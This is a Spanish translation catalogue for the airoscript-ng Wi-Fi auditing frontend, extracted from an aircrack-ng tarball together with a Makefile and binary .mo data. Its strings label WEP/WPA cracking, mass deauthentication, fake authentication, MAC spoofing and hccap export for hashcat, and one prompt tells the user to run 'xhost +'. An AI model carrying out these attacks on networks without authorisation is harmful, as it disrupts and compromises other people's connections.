msgstr "Volver al menu principal" #: src/functions/menu:79 msgid "Channel" msgstr "Canal" #: src/functions/menu:79 msgid "Channel Hoping" msgstr "Salto de canales" #: src/functions/menu:79 msgid "Specific Channel" msgstr "Canal especifico" #: src/functions/menu:103 msgid "Extra tools" msgstr "Herramientas extra" #: src/functions/menu:103 msgid "Airoscript Options" msgstr "Opciones de airoscript" #: src/functions/menu:103 msgid "Advanced tools" msgstr "Herramientas avanzadas" #: src/functions/menu:103 msgid "External plugins" msgstr "Plugins externos" #: src/functions/internal/scansel:20 msgid "Enter channel (single, range, or comma-separated): " msgstr "Introduzca el canal (un solo canal, un rango, o separados por comas)" #: src/functions/internal/scansel:23 msgid "Scanning for targets on channel $channel_number" msgstr "Escanando objetivos en el canal $channel_number" #: src/functions/internal/scansel:29 msgid "${mark}${red}Select a client${end}\\n" msgstr "${mark}${red}Seleccione un cliente${end}\\n" #: src/functions/internal/scansel:37 msgid "Client Selection" msgstr "Seleccion de clientes" #: src/functions/internal/scansel:38 msgid "Select client" msgstr "Selecciona un cliente" #: src/functions/internal/scansel:39 msgid "Enable dynamic mode (ask for client in each attack)" msgstr "Activar modo dinamico (preguntar por el cliente en cada ataque)" #: src/functions/internal/scansel:40 msgid "Manually enter client MAC" msgstr "Introducir mac de cliente a mano" #: src/functions/internal/scansel:45 msgid "Type in client mac now" msgstr "Introduzca la mac del cliente" #: src/functions/internal/startup:219 msgid "Interface used is" msgstr "La interfaz es" #: src/functions/internal/startup:220 msgid "Interface type is" msgstr "El tipo de la interfaz es " #: src/functions/internal/startup:228 msgid "Please enter Host SSID" msgstr "Por favor, introduzca la SSID" #: src/functions/internal/startup:266 msgid "Changed fake_mac :" msgstr "Cambiada mac falsa" #: src/functions/internal/startup:269 msgid "Automatically setting fake mac" msgstr "Configurando mac falsa automaticamente" #: src/functions/crack/main:25 msgid "WEP Cracking Options" msgstr "Opciones de crackeo WEP" #: src/functions/crack/main:25 msgid "aircrack-ng defaults" msgstr "Por defecto" #: src/functions/crack/main:25 msgid "aircrack-ng Korek" msgstr "Korek" #: src/functions/crack/main:25 msgid "aircrack-ng interactive" msgstr "Interactivas" #: src/functions/crack/main:27 msgid "Cracking wep, default options" msgstr "Crackeando wep, opciones por defecto" #: src/functions/crack/main:28 msgid "Cracking wep, Korek" msgstr "Crackeando wep, Korek" #: src/functions/crack/main:30 msgid "Type encryption size (64,128...): " msgstr "Tamaño de la encriptacion (64,128...)" #: src/functions/crack/main:31 msgid "Cracking wep, manual options" msgstr "Crackeando wep, opciones manuales" #: src/functions/crack/main:42 msgid "WPA Cracking Options" msgstr "Opciones de crackeo wpa" #: src/functions/crack/main:42 msgid "Standard" msgstr "Standard" #: src/functions/crack/main:42 msgid "Use precomputed pmk database" msgstr "Base de datos precomputada pmk" #: src/functions/crack/main:46 msgid "Cracking with stdin entered data by $pipe" msgstr "Crackeando con datos de stdin por $pipe" #: src/functions/crack/main:47 msgid "Cracking WPA" msgstr "Crackeando WPA" #: src/functions/crack/main:52 msgid "Sorry, you cant crack wpa without a dictionary on $WORDLIST" msgstr "Lo siento, no puedes crackear wpa sin un diccionario en $WORDLIST" #: src/functions/crack/main:62 msgid "Enter Database location [$db_location]" msgstr "Introduzca la localizacion de la base de datos [$db_location]" #: src/functions/crack/main:64 msgid "Cracking WPA with pmk database" msgstr "Crackeando WPA con base de datos pmk" #: src/functions/crack/main:73 msgid "Network not encrypted or no network selected " msgstr "La red no esta encriptada o no ha seleccionado ninguna" #: src/functions/reporting:76 msgid "Enter format (CPG|CAPR) (CAPR by default): " msgstr "Introduzca formato (CPG|CAPR) (por defecto es CAPR)" #: src/functions/reporting:78 msgid "Generating graphics" msgstr "Generando graficos" #: src/functions/reporting:79 msgid "Do you want to launch a browser? [y|N] " msgstr "¿Quieres lanzar un navegador? [y|N]" #: src/functions/reporting:81 msgid "Error: You have to scan for targets first" msgstr "Error: Tienes que escanear objetivos antes" #: src/functions/attacks/wpa:28 msgid "${mark}${red}WPA attacks${end}\\n" msgstr "${mark}${red}Attaques WPA${end}\\n" #: src/functions/attacks/wpa:38 msgid "Select WPA Attack" msgstr "Selecciona ataque wpa" #: src/functions/attacks/wpa:38 msgid "Standard attack" msgstr "Ataque standard" #: src/functions/attacks/wpa:38 msgid "Standard attack with QoS (WMM)" msgstr "Ataque con QoS" #: src/functions/attacks/wpa:38 msgid "WPA migration mode" msgstr "Ataque de modo de migracion WPA" #: src/functions/attacks/wpa:56 msgid "Capturing data on channel: $Host_CHAN" msgstr "Capturando datos en el canal: $Host_CHAN" #: src/functions/attacks/wpa:66 msgid "Executing tkiptun-ng for ap $Host_MAC" msgstr "Ejecutando tkiptun-ng para el punto de acceso $Host_MAC" #: src/functions/attacks/others:22 msgid "Other aircrack-ng tools" msgstr "Otras herramientas de aircrack-ng" #: src/functions/attacks/others:22 msgid "Scanning" msgstr "Escaneando" #: src/functions/attacks/others:22 msgid "Injection" msgstr "Inyeccion" #: src/functions/attacks/others:22 msgid "Autentication" msgstr "Autenticacion" #: src/functions/attacks/others:22 msgid "Package manipulation" msgstr "Manipulacion de paquetes" #: src/functions/attacks/others:22 msgid "Create virtual interface with airtun-ng" msgstr "Crear interfaz virtual con airtun-ng" #: src/functions/attacks/others:22 msgid "Diagnostics and reports" msgstr "Diagnosticos e informes" #: src/functions/attacks/others:22 msgid "Auto crack wep with wesside-ng" msgstr "Auto crackear wep con wesside-ng" #: src/functions/attacks/others:41 msgid "Your hccap file is in $DUMP_PATH/$Host_MAC-01.hccap . Press enter to continue" msgstr "Tu fichero hccap esta en $DUMP_PATH/$Host_MAC-01.hccap. Pulsa enter para continuar" #: src/functions/attacks/others:88 msgid "Package manipulation tools" msgstr "Manipulacion de paquetes" #: src/functions/attacks/others:88 msgid "Merge all ivs from all sessions" msgstr "Unir todos los ivs de todas las sesiones" #: src/functions/attacks/others:88 msgid "Decrypt current packages" msgstr "Desencriptar paquetes actuales" #: src/functions/attacks/others:88 msgid "Decloack packages" msgstr "Decloack packages" #: src/functions/attacks/others:89 msgid "Generate hccap file for oclhashcat" msgstr "Generar archivo hccap para oclhashcat" #: src/functions/attacks/others:123 msgid "Select merged data as target? (y/N): " msgstr "Seleccionar datos unidos como objetivo? (y|N)" #: src/functions/attacks/others:123 msgid "y" msgstr "y" #: src/functions/attacks/others:131 msgid "Choose Wesside-ng Options" msgstr "Elije las opciones de wesside-ng" #: src/functions/attacks/others:131 msgid "No args" msgstr "Sin argumentos" #: src/functions/attacks/others:131 msgid "Selected target" msgstr "Objetivo seleccionado" #: src/functions/attacks/others:173 msgid "Show kstats report" msgstr "Informe de kstats" #: src/functions/attacks/others:173 msgid "Test injection" msgstr "Probar inyeccion" #: src/functions/attacks/others:173 msgid "Checks with airmon-ng" msgstr "Pruebas con airmon" #: src/functions/attacks/others:173 msgid "Create graphs" msgstr "Generar graficos" #: src/functions/attacks/others:173 msgid "Update airoscript report" msgstr "Actualizar informe de airoscript-ng" #: src/functions/attacks/others:206 msgid "Select another interface" msgstr "Cambiar interfaz" #: src/functions/attacks/others:206 msgid "Reset selected interface" msgstr "Resetear interfaz" #: src/functions/attacks/others:207 msgid "Change MAC of interface" msgstr "Cambiar MAC" #: src/functions/attacks/others:207 msgid "Enable monitor mode" msgstr "Activar modo monitor" #: src/functions/attacks/others:207 msgid "Change DUMP_PATH" msgstr "Cambiar DUMP_PATH" #: src/functions/attacks/others:208 msgid "Try to configure network" msgstr "Intentar autoconfiguracion de red" #: src/functions/attacks/others:225 msgid "Interface cleanup" msgstr "Limpieza de interfaz" #: src/functions/attacks/others:225 msgid "Normal cleanup" msgstr "Limpieza normal" #: src/functions/attacks/others:225 msgid "Reset driver" msgstr "Resetear driver" #: src/functions/attacks/others:225 msgid "Vmware fix for bt4" msgstr "Fix de vmware para bt4" #: src/functions/attacks/others:244 msgid "Enter new path: " msgstr "Introduzca path nuevo: " #: src/functions/attacks/others:245 msgid "Copy data into new folder? (y/N): " msgstr "Copiar datos en el directorio nuevo? (y|N)" #: src/functions/attacks/others:246 msgid "Erase old folder? (y/N): " msgstr "Borrar antiguo directorio? (y|N)" #: src/functions/attacks/others:253 msgid "Create virtual interface" msgstr "Crear interfaz virtual" #: src/functions/attacks/others:257 msgid "Select buddy IP" msgstr "Seleccionar buddy IP" #: src/functions/attacks/others:258 msgid "Choose ap mac " msgstr "Elegir mac del punto de acceso " #: src/functions/attacks/others:258 msgid "Choose source mac" msgstr "Elegir mac de origen " #: src/functions/attacks/others:258 msgid "Chosse Source IP" msgstr "Elegir ip de origen" #: src/functions/attacks/others:258 msgid "Choose router ip" msgstr "Elegir ip de router" #: src/functions/attacks/others:258 msgid "Execute" msgstr "Ejecutar" #: src/functions/attacks/others:258 msgid "Return" msgstr "Volver" #: src/functions/attacks/others:259 msgid "Anser: " msgstr "Respuesta: " #: src/functions/attacks/others:286 msgid "Do you want to use airserv-ng? [y/N] " msgstr "¿Quieres usar airserv-ng?" #: src/functions/attacks/others:288 msgid "Start a local server? [y/N] " msgstr "Usar un servidor local? [y|N]" #: src/functions/attacks/others:290 msgid "Enter airserv-ng address [127.0.0.1:666]" msgstr "Introduzca ip de airserv-ng [127.0.0.1:666]" #: src/functions/attacks/wep:34 msgid "${mark}${red}Wep attacks${end}\\n" msgstr "${mark}${red}Attaques WEP${end}\\n" #: src/functions/attacks/wep:48 msgid "Attacks using a client" msgstr "Usando un cliente" #: src/functions/attacks/wep:50 msgid "Fragmentation attack" msgstr "Ataque de fragmentacion" #: src/functions/attacks/wep:51 msgid "Chopchop attack" msgstr "Ataque chopchop" #: src/functions/attacks/wep:78 msgid "Enter destination mac: (FF:FF:FF:FF:FF:FF)" msgstr "Introduzca mac de destino (FF:FF:FF:FF:FF:FF)" #: src/functions/attacks/wep:87 msgid "Cafe Latte Attack on: $Host_SSID " msgstr "Ataque caffe latte en $Host_SSID" #: src/functions/attacks/wep:97 msgid "Interactive Packet Sel on: $Host_SSID" msgstr "Seleccion interactiva de paquetes en $Host_SSID" #: src/functions/attacks/wep:109 msgid "Fragmentation w/o client" msgstr "Fragmentacion sin cliente" #: src/functions/attacks/wep:126 msgid "Chopchoping at $Host_SSID" msgstr "Chopchopeando $Host_SSID" #: src/functions/attacks/wep:131 msgid "Directed ChopChoping to $Client_MAC at $Host_SSID" msgstr "Chopchop dirigido a $Client_MAC en $Host_SSID" #: src/functions/attacks/auth:18 msgid "Autentication menu" msgstr "Menu de autenticacion" #: src/functions/attacks/auth:18 msgid "Fake autentication" msgstr "Autenticacion falsa" #: src/functions/attacks/auth:18 msgid "Deautentication" msgstr "Desautenticacion" #: src/functions/attacks/auth:33 msgid "Who do you want to deauth?" msgstr "¿A quien quieres deautenticar?" #: src/functions/attacks/auth:33 msgid "Everybody" msgstr "A todos" #: src/functions/attacks/auth:33 msgid "Myself (fake mac)" msgstr "A mi mismo (mac falsa)" #: src/functions/attacks/auth:33 msgid "Selected client" msgstr "Cliente seleccionado" #: src/functions/attacks/auth:40 msgid "Deauth All" msgstr "Desautenticando a todos" #: src/functions/attacks/auth:41 msgid "Deauth client" msgstr "Desautenticando al cliente" #: src/functions/attacks/auth:42 msgid "Deautenticating" msgstr "Desautenticando" #: src/functions/attacks/auth:50 msgid "Fake Auth Method" msgstr "Metodo de autenticacion falsa" #: src/functions/attacks/auth:50 msgid "Conservative" msgstr "Conservador" #: src/functions/attacks/auth:50 msgid "Progressive" msgstr "Progresivo" #: src/functions/attacks/auth:50 msgid "Xor Injection" msgstr "Inyeccion XOR" #: src/functions/_internal:155 msgid "" " Airoscript is provided under the gpl.\n" "I'm not responsible of the use anyone can give to airoscript.\n" "Written for educational purpose in mind.\n" "" msgstr "" "Airoscript se provee bajo la GPL\n" "No soy responsable del uso que nadie pueda darle a airoscript\n" "Airoscript ha sido escrito con objetivo educativo\n" "" #: src/functions/_internal:180 msgid "Enter extra options to execute: " msgstr "Introduzca opciones extra" #: src/functions/_internal:205 msgid "Debug Mode enabled, you'll have to manually close windows" msgstr "Modo debug activado" #: src/functions/_internal:218 msgid "[INFO] Output folder is" msgstr "[INFO] El directorio de salida es " #: src/functions/_internal:221 msgid "[Error] Output folder does not exists or is a regular file." msgstr "[Error] El directorio de salida no existe o no es un directorio" aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/locale/es_ES.UTF-8/0000755000000000000000000000000012316431267023332 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/locale/es_ES.UTF-8/airoscript-ng.po0000644000000000000000000003720412121241146026446 0ustar rootroot#: src/plugins/mdk3:36 msgid "Unknown response. Try again" msgstr "Respuesta incorrecta, pruebe de nuevo" #: src/plugins/digenpy:45 msgid "Encription is" msgstr "La encriptacion es" #: src/plugins/digenpy:52 msgid "Error: You must select a target first" msgstr "Error: debe seleccionar un objetivo" #: src/functions/interface:38 msgid "Automatically setting resolution to $reso" msgstr "Configurando resolucion automaticamente a $reso" #: src/functions/interface:39 msgid "Access control for X is disabled for root. Please, as your normal user execute 'xhost +`whoami`' and press enter to continue" msgstr "El control de acceso a las X esta desactivado para root. Por favor, ejecuta 'xhost +' como tu usuario normal y pulsa enter" #: src/functions/interface:41 msgid "Set resolution" msgstr "Configurar resolucion" #: src/functions/interface:43 msgid "Unknown resolution, try again" msgstr "Resolucion desconocida, por favor, intentelo de nuevo" #: src/functions/interface:100 msgid "Select option:" msgstr "Seleccionar: " #: src/functions/interface:125 msgid "" "I cant find any good terminal, please set one on your conffile\n" " Your TERMINAL var contains no valid temrinal\n" " Your alternative against x-terminal-emulator contains no terminal\n" " Xterm can\\'t be found on your system, Maybe not in /usr/bin?" msgstr "No puedo encontrar ningun terminal correcto, por favor, configure uno en airoscript-ng.conf" #: src/functions/menu:19 msgid "Main Menu" msgstr "Menu principal" #: src/functions/menu:19 msgid "Attack - Attack target" msgstr "Atacar - Atacar objetivo" #: src/functions/menu:19 msgid "Crack - Get target key" msgstr "Crackear - Crackear la clave del objetivo" #: src/functions/menu:19 msgid "Select - Reselect target" msgstr "Seleccionar - Seleccionar otro objetivo" #: src/functions/menu:19 msgid "Others - Various utilities" msgstr "Otros - Utilidades varias" #: src/functions/menu:19 msgid "Autopwn- Automatic cracking" msgstr "Autopwn - Crackeo automatico" #: src/functions/menu:19 msgid "Exit - Quits" msgstr "Exit - Sale" #: src/functions/menu:28 msgid "ERROR: Wrong number entered" msgstr "Error: Numero incorrecto" #: src/functions/menu:43 msgid "You have no IVS, please scan first" msgstr "No tienes ivs, por favor escanea primero" #: src/functions/menu:45 msgid "WEP/WPA Cracking Options" msgstr "Crackeo WEP/WPA" #: src/functions/menu:45 msgid "Crack with manual dictionary" msgstr "Crackear con diccionario manual" #: src/functions/menu:45 msgid "Standard aircrack-ng" msgstr "Aircrack-ng standard" #: src/functions/menu:45 msgid "Return to menu" msgstr "Volver" #: src/functions/menu:60 msgid "Select encryption" msgstr "Seleccionar encriptacion" #: src/functions/menu:60 msgid "Return to main menu" msgstr "Volver al menu principal" #: src/functions/menu:79 msgid "Channel" msgstr "Canal" #: src/functions/menu:79 msgid "Channel Hoping" msgstr "Salto de canales" #: src/functions/menu:79 msgid "Specific Channel" msgstr "Canal especifico" #: src/functions/menu:103 msgid "Extra tools" msgstr "Herramientas extra" #: src/functions/menu:103 msgid "Airoscript Options" msgstr "Opciones de airoscript" #: src/functions/menu:103 msgid "Advanced tools" msgstr "Herramientas avanzadas" #: src/functions/menu:103 msgid "External plugins" msgstr "Plugins externos" #: src/functions/internal/scansel:20 msgid "Enter channel (single, range, or comma-separated): " msgstr "Introduzca el canal (un solo canal, un rango, o separados por comas)" #: src/functions/internal/scansel:23 msgid "Scanning for targets on channel $channel_number" msgstr "Escanando objetivos en el canal $channel_number" #: src/functions/internal/scansel:29 msgid "${mark}${red}Select a client${end}\\n" msgstr "${mark}${red}Seleccione un cliente${end}\\n" #: src/functions/internal/scansel:37 msgid "Client Selection" msgstr "Seleccion de clientes" #: src/functions/internal/scansel:38 msgid "Select client" msgstr "Selecciona un cliente" #: src/functions/internal/scansel:39 msgid "Enable dynamic mode (ask for client in each attack)" msgstr "Activar modo dinamico (preguntar por el cliente en cada ataque)" #: src/functions/internal/scansel:40 msgid "Manually enter client MAC" msgstr "Introducir mac de cliente a mano" #: src/functions/internal/scansel:45 msgid "Type in client mac now" msgstr "Introduzca la mac del cliente" #: src/functions/internal/startup:219 msgid "Interface used is" msgstr "La interfaz es" #: src/functions/internal/startup:220 msgid "Interface type is" msgstr "El tipo de la interfaz es " #: src/functions/internal/startup:228 msgid "Please enter Host SSID" msgstr "Por favor, introduzca la SSID" #: src/functions/internal/startup:266 msgid "Changed fake_mac :" msgstr "Cambiada mac falsa" #: src/functions/internal/startup:269 msgid "Automatically setting fake mac" msgstr "Configurando mac falsa automaticamente" #: src/functions/crack/main:25 msgid "WEP Cracking Options" msgstr "Opciones de crackeo WEP" #: src/functions/crack/main:25 msgid "aircrack-ng defaults" msgstr "Por defecto" #: src/functions/crack/main:25 msgid "aircrack-ng Korek" msgstr "Korek" #: src/functions/crack/main:25 msgid "aircrack-ng interactive" msgstr "Interactivas" #: src/functions/crack/main:27 msgid "Cracking wep, default options" msgstr "Crackeando wep, opciones por defecto" #: src/functions/crack/main:28 msgid "Cracking wep, Korek" msgstr "Crackeando wep, Korek" #: src/functions/crack/main:30 msgid "Type encryption size (64,128...): " msgstr "Tamaño de la encriptacion (64,128...)" #: src/functions/crack/main:31 msgid "Cracking wep, manual options" msgstr "Crackeando wep, opciones manuales" #: src/functions/crack/main:42 msgid "WPA Cracking Options" msgstr "Opciones de crackeo wpa" #: src/functions/crack/main:42 msgid "Standard" msgstr "Standard" #: src/functions/crack/main:42 msgid "Use precomputed pmk database" msgstr "Base de datos precomputada pmk" #: src/functions/crack/main:46 msgid "Cracking with stdin entered data by $pipe" msgstr "Crackeando con datos de stdin por $pipe" #: src/functions/crack/main:47 msgid "Cracking WPA" msgstr "Crackeando WPA" #: src/functions/crack/main:52 msgid "Sorry, you cant crack wpa without a dictionary on $WORDLIST" msgstr "Lo siento, no puedes crackear wpa sin un diccionario en $WORDLIST" #: src/functions/crack/main:62 msgid "Enter Database location [$db_location]" msgstr "Introduzca la localizacion de la base de datos [$db_location]" #: src/functions/crack/main:64 msgid "Cracking WPA with pmk database" msgstr "Crackeando WPA con base de datos pmk" #: src/functions/crack/main:73 msgid "Network not encrypted or no network selected " msgstr "La red no esta encriptada o no ha seleccionado ninguna" #: src/functions/reporting:76 msgid "Enter format (CPG|CAPR) (CAPR by default): " msgstr "Introduzca formato (CPG|CAPR) (por defecto es CAPR)" #: src/functions/reporting:78 msgid "Generating graphics" msgstr "Generando graficos" #: src/functions/reporting:79 msgid "Do you want to launch a browser? [y|N] " msgstr "¿Quieres lanzar un navegador? [y|N]" #: src/functions/reporting:81 msgid "Error: You have to scan for targets first" msgstr "Error: Tienes que escanear objetivos antes" #: src/functions/attacks/wpa:28 msgid "${mark}${red}WPA attacks${end}\\n" msgstr "${mark}${red}Attaques WPA${end}\\n" #: src/functions/attacks/wpa:38 msgid "Select WPA Attack" msgstr "Selecciona ataque wpa" #: src/functions/attacks/wpa:38 msgid "Standard attack" msgstr "Ataque standard" #: src/functions/attacks/wpa:38 msgid "Standard attack with QoS (WMM)" msgstr "Ataque con QoS" #: src/functions/attacks/wpa:38 msgid "WPA migration mode" msgstr "Ataque de modo de migracion WPA" #: src/functions/attacks/wpa:56 msgid "Capturing data on channel: $Host_CHAN" msgstr "Capturando datos en el canal: $Host_CHAN" #: src/functions/attacks/wpa:66 msgid "Executing tkiptun-ng for ap $Host_MAC" msgstr "Ejecutando tkiptun-ng para el punto de acceso $Host_MAC" #: src/functions/attacks/others:22 msgid "Other aircrack-ng tools" msgstr "Otras herramientas de aircrack-ng" #: src/functions/attacks/others:22 msgid "Scanning" msgstr "Escaneando" #: src/functions/attacks/others:22 msgid "Injection" msgstr "Inyeccion" #: src/functions/attacks/others:22 msgid "Autentication" msgstr "Autenticacion" #: src/functions/attacks/others:22 msgid "Package manipulation" msgstr "Manipulacion de paquetes" #: src/functions/attacks/others:22 msgid "Create virtual interface with airtun-ng" msgstr "Crear interfaz virtual con airtun-ng" #: src/functions/attacks/others:22 msgid "Diagnostics and reports" msgstr "Diagnosticos e informes" #: src/functions/attacks/others:22 msgid "Auto crack wep with wesside-ng" msgstr "Auto crackear wep con wesside-ng" #: src/functions/attacks/others:41 msgid "Your hccap file is in $DUMP_PATH/$Host_MAC-01.hccap . Press enter to continue" msgstr "Tu fichero hccap esta en $DUMP_PATH/$Host_MAC-01.hccap. Pulsa enter para continuar" #: src/functions/attacks/others:88 msgid "Package manipulation tools" msgstr "Manipulacion de paquetes" #: src/functions/attacks/others:88 msgid "Merge all ivs from all sessions" msgstr "Unir todos los ivs de todas las sesiones" #: src/functions/attacks/others:88 msgid "Decrypt current packages" msgstr "Desencriptar paquetes actuales" #: src/functions/attacks/others:88 msgid "Decloack packages" msgstr "Decloack packages" #: src/functions/attacks/others:89 msgid "Generate hccap file for oclhashcat" msgstr "Generar archivo hccap para oclhashcat" #: src/functions/attacks/others:123 msgid "Select merged data as target? (y/N): " msgstr "Seleccionar datos unidos como objetivo? (y|N)" #: src/functions/attacks/others:123 msgid "y" msgstr "y" #: src/functions/attacks/others:131 msgid "Choose Wesside-ng Options" msgstr "Elije las opciones de wesside-ng" #: src/functions/attacks/others:131 msgid "No args" msgstr "Sin argumentos" #: src/functions/attacks/others:131 msgid "Selected target" msgstr "Objetivo seleccionado" #: src/functions/attacks/others:173 msgid "Show kstats report" msgstr "Informe de kstats" #: src/functions/attacks/others:173 msgid "Test injection" msgstr "Probar inyeccion" #: src/functions/attacks/others:173 msgid "Checks with airmon-ng" msgstr "Pruebas con airmon" #: src/functions/attacks/others:173 msgid "Create graphs" msgstr "Generar graficos" #: src/functions/attacks/others:173 msgid "Update airoscript report" msgstr "Actualizar informe de airoscript-ng" #: src/functions/attacks/others:206 msgid "Select another interface" msgstr "Cambiar interfaz" #: src/functions/attacks/others:206 msgid "Reset selected interface" msgstr "Resetear interfaz" #: src/functions/attacks/others:207 msgid "Change MAC of interface" msgstr "Cambiar MAC" #: src/functions/attacks/others:207 msgid "Enable monitor mode" msgstr "Activar modo monitor" #: src/functions/attacks/others:207 msgid "Change DUMP_PATH" msgstr "Cambiar DUMP_PATH" #: src/functions/attacks/others:208 msgid "Try to configure network" msgstr "Intentar autoconfiguracion de red" #: src/functions/attacks/others:225 msgid "Interface cleanup" msgstr "Limpieza de interfaz" #: src/functions/attacks/others:225 msgid "Normal cleanup" msgstr "Limpieza normal" #: src/functions/attacks/others:225 msgid "Reset driver" msgstr "Resetear driver" #: src/functions/attacks/others:225 msgid "Vmware fix for bt4" msgstr "Fix de vmware para bt4" #: src/functions/attacks/others:244 msgid "Enter new path: " msgstr "Introduzca path nuevo: " #: src/functions/attacks/others:245 msgid "Copy data into new folder? (y/N): " msgstr "Copiar datos en el directorio nuevo? (y|N)" #: src/functions/attacks/others:246 msgid "Erase old folder? (y/N): " msgstr "Borrar antiguo directorio? (y|N)" #: src/functions/attacks/others:253 msgid "Create virtual interface" msgstr "Crear interfaz virtual" #: src/functions/attacks/others:257 msgid "Select buddy IP" msgstr "Seleccionar buddy IP" #: src/functions/attacks/others:258 msgid "Choose ap mac " msgstr "Elegir mac del punto de acceso " #: src/functions/attacks/others:258 msgid "Choose source mac" msgstr "Elegir mac de origen " #: src/functions/attacks/others:258 msgid "Chosse Source IP" msgstr "Elegir ip de origen" #: src/functions/attacks/others:258 msgid "Choose router ip" msgstr "Elegir ip de router" #: src/functions/attacks/others:258 msgid "Execute" msgstr "Ejecutar" #: src/functions/attacks/others:258 msgid "Return" msgstr "Volver" #: src/functions/attacks/others:259 msgid "Anser: " msgstr "Respuesta: " #: src/functions/attacks/others:286 msgid "Do you want to use airserv-ng? [y/N] " msgstr "¿Quieres usar airserv-ng?" #: src/functions/attacks/others:288 msgid "Start a local server? [y/N] " msgstr "Usar un servidor local? [y|N]" #: src/functions/attacks/others:290 msgid "Enter airserv-ng address [127.0.0.1:666]" msgstr "Introduzca ip de airserv-ng [127.0.0.1:666]" #: src/functions/attacks/wep:34 msgid "${mark}${red}Wep attacks${end}\\n" msgstr "${mark}${red}Attaques WEP${end}\\n" #: src/functions/attacks/wep:48 msgid "Attacks using a client" msgstr "Usando un cliente" #: src/functions/attacks/wep:50 msgid "Fragmentation attack" msgstr "Ataque de fragmentacion" #: src/functions/attacks/wep:51 msgid "Chopchop attack" msgstr "Ataque chopchop" #: src/functions/attacks/wep:78 msgid "Enter destination mac: (FF:FF:FF:FF:FF:FF)" msgstr "Introduzca mac de destino (FF:FF:FF:FF:FF:FF)" #: src/functions/attacks/wep:87 msgid "Cafe Latte Attack on: $Host_SSID " msgstr "Ataque caffe latte en $Host_SSID" #: src/functions/attacks/wep:97 msgid "Interactive Packet Sel on: $Host_SSID" msgstr "Seleccion interactiva de paquetes en $Host_SSID" #: src/functions/attacks/wep:109 msgid "Fragmentation w/o client" msgstr "Fragmentacion sin cliente" #: src/functions/attacks/wep:126 msgid "Chopchoping at $Host_SSID" msgstr "Chopchopeando $Host_SSID" #: src/functions/attacks/wep:131 msgid "Directed ChopChoping to $Client_MAC at $Host_SSID" msgstr "Chopchop dirigido a $Client_MAC en $Host_SSID" #: src/functions/attacks/auth:18 msgid "Autentication menu" msgstr "Menu de autenticacion" #: src/functions/attacks/auth:18 msgid "Fake autentication" msgstr "Autenticacion falsa" #: src/functions/attacks/auth:18 msgid "Deautentication" msgstr "Desautenticacion" #: src/functions/attacks/auth:33 msgid "Who do you want to deauth?" msgstr "¿A quien quieres deautenticar?" #: src/functions/attacks/auth:33 msgid "Everybody" msgstr "A todos" #: src/functions/attacks/auth:33 msgid "Myself (fake mac)" msgstr "A mi mismo (mac falsa)" #: src/functions/attacks/auth:33 msgid "Selected client" msgstr "Cliente seleccionado" #: src/functions/attacks/auth:40 msgid "Deauth All" msgstr "Desautenticando a todos" #: src/functions/attacks/auth:41 msgid "Deauth client" msgstr "Desautenticando al cliente" #: src/functions/attacks/auth:42 msgid "Deautenticating" msgstr "Desautenticando" #: src/functions/attacks/auth:50 msgid "Fake Auth Method" msgstr "Metodo de autenticacion falsa" #: src/functions/attacks/auth:50 msgid "Conservative" msgstr "Conservador" #: src/functions/attacks/auth:50 msgid "Progressive" msgstr "Progresivo" #: src/functions/attacks/auth:50 msgid "Xor Injection" msgstr "Inyeccion XOR" #: src/functions/_internal:155 msgid "" " Airoscript is provided under the gpl.\n" "I'm not responsible of the use anyone can give to airoscript.\n" "Written for educational purpose in mind.\n" "" msgstr "" "Airoscript se provee bajo la GPL\n" "No soy responsable del uso que nadie pueda darle a airoscript\n" "Airoscript ha sido escrito con objetivo educativo\n" "" #: src/functions/_internal:180 msgid "Enter extra options to execute: " msgstr "Introduzca opciones extra" #: src/functions/_internal:205 msgid "Debug Mode enabled, you'll have to manually close windows" msgstr "Modo debug activado" #: src/functions/_internal:218 msgid "[INFO] Output folder is" msgstr "[INFO] El directorio de salida es " #: src/functions/_internal:221 msgid "[Error] Output folder does not exists or is a regular file." msgstr "[Error] El directorio de salida no existe o no es un directorio" aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/locale/es_ES.UTF-8/Makefile0000644000000000000000000000046012272366142024772 0ustar rootrootall: install localedir=/usr/local/share/locale/es_ES.UTF-8/LC_MESSAGES # FIXME build: @msgfmt airoscript-ng.po -o airoscript-ng.mo install: @mkdir -p $(localedir) @cp airoscript-ng.mo $(localedir) uninstall: @rm -f $(localedir)/`basename \`pwd\``/airoscript-ng.mo clean: @rm -f airoscript-ng.mo aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/locale/es_ES.UTF-8/airoscript-ng.mo0000644000000000000000000002705012121241146026441 0ustar rootrootÞ•–ÌÓ| È $X } ž |¿ <K^f} ”¢µÔ)ó!9%[’ª½ÅÔê$6F`q ‚"²Ê çô'E)b Œš'³Ûë û 9N`y1‘'Ã%ë3-a u&ƒ(ª3Ó* 2+S)ª%Ô ú%  2@ Q]n–"¯Òöæ Ý%ç 1 CMg‡-™ÇÏÞö&A X dqŠ‘¥´/½í1 AO%a‡–¦¶Å;Ø%.CSrž"·Úñ+Dat‰¢·Ê å"óM;d ¸Êß÷‘ù*‹!¶!ØzúuŒ £¯È Úè þ&/Fv “(´Ý ïû  % 8 Y y  £ ³ Ì à ö *!)-!W!w!$†!«!$Á!!æ!'"0"A"$X"}""ž"¶"Ñ"å"÷"#-.#$\##œ#?µ#õ# $=$+[$D‡$-Ì$ú$3%H% `%*%#¬%Ð%Ø%7á% &%&6&I&g&{&“&%­&Ó&[æ& B'/L'|'‘'¬'»' Ê'(ë'(6+(b(q(!(£(½(Ö(ï( ))():)A)Z) a)/l)'œ)Ä)Ú)ë)**-/* ]*k*€*–*¬*A¾*+++/+?+N+l+!}+&Ÿ+Æ+5ä+%,#@,d,ƒ,š,²,Â,Ú,ú, -((-RQ-?¤-"ä-. . .&.K‡Ab•&F+g<$=[*V8 IO3–46-)z’ 9P D€mlEHk>„ŠG%jSsM^f5/“'(Œ@ZcwLpr]‚!`2Xd#.‹ˆ~Cvh?"}a‰N0TBW†e”tƒŽ i{y…7\ R;Y1_:xUJuQo nq|‘, Airoscript is provided under the gpl. I'm not responsible of the use anyone can give to airoscript. Written for educational purpose in mind. ${mark}${red}Select a client${end}\n${mark}${red}WPA attacks${end}\n${mark}${red}Wep attacks${end}\nAccess control for X is disabled for root. Please, as your normal user execute 'xhost +`whoami`' and press enter to continueAdvanced toolsAiroscript OptionsAnser: Attack - Attack targetAttacks using a clientAutenticationAutentication menuAuto crack wep with wesside-ngAutomatically setting fake macAutomatically setting resolution to 